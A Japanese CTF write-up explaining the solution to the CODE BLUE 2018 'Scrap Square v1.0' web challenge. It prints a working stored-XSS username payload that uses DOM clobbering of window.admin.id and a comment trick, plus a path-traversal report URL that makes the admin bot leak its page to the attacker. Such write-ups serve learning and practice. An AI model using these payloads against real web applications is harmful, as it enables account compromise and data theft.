CODE BLUE CTF 2018 Quals に チーム m1z0r3 として参加しました。
Scrap Square v1.0 という問題を解いたので、忘れないうちに Write-up を書きます。
Scrap Square v1.0
メモを記録するアプリケーション。ソースコードも渡される。ユーザ登録ができ、問題のあるメモは Admin に報告することができる。
解答
適当なユーザ(uid: uid1)を作成して、その後
<form name="admin" id="[uid1]"></form>
<script src="/static/javascripts/load-scrap.js"></script>
<script src="/static/javascripts/report-scrap.js"></script>
<script src="/static/javascripts/periodically-watch-scrap-body-and-report-scrap-automatically-with-banword.js"></script>
<!--
というユーザ名でユーザ(uid: uid2)を登録し、
http://v10.scsq.task.ctf.codeblue.jp:3000/scraps/[uid2]/hoge?fuga=../..
という URL を報告すると、最初に作成したユーザに admin のトップページの情報が報告される。
あとは、
http://v10.scsq.task.ctf.codeblue.jp:3000/reports
を見ると、admin のトップページの情報からメモのタイトルの一覧がわかるので、
http://v10.scsq.task.ctf.codeblue.jp:3000/admin/[Title]
にアクセスすると FLAG が手に入る。
解説
■ ポイント1: ユーザ名に関して
<form name="admin" id="[uid1]"></form>
<script src="/static/javascripts/load-scrap.js"></script>
<script src="/static/javascripts/report-scrap.js"></script>
<script src="/static/javascripts/periodically-watch-scrap-body-and-report-scrap-automatically-with-banword.js"></script>
<!--
- ユーザ名はサニタイズされないため XSS 利用可能。
-
periodically-watch-scrap-body-and-report-scrap-automatically-with-banword.js
をロードすることで、自動でreportScrap()
が実行される。 -
reportScrap()
ではwindow.admin.id
宛に報告されるので、 DOM Clobbering によってwindow.admin.id
の値を自分の UID に書き換える。 - のちにロードされる
config.js
によってwindow.admin.id
の値が書き換えられるのを阻止するために最後にコメントアウトする。 - コメントアウトにより、必要な JS ファイルもロードされなくなってしまうので、必要なファイルはあらかじめロードする。
■ ポイント2: 報告する URL に関して
http://v10.scsq.task.ctf.codeblue.jp:3000/scraps/[uid2]/hoge?fuga=../..
>
> という URL を報告すると、最初に作成したユーザに admin のトップページの情報が報告される。
`load-scrap.js` を見ると、現在の URL を `/` で区切って、 `user` と `title` を取得して GET する URL を組み立てている。
```js:load-scrap.js
const urls = location.href.split('/')
const user = urls[urls.length - 2]
const title = urls[urls.length - 1]
// ...
$.get(`/static/raw/${user}/${title}`)
.then(c => {
const scrapBody = $('<pre class="scrap-body">')
scrapBody.text(c)
$('.scrap-wrapper').append(scrapBody)
})
例えば http://v10.scsq.task.ctf.codeblue.jp:3000/scraps/hoge/fuga?piyo=../..
という URL の場合には、 /static/raw/../..
という URL(つまり /
)を load してくる。
この URL を報告することにより、 load-scrap.js
は admin のトップページの情報を取得して HTML に反映する。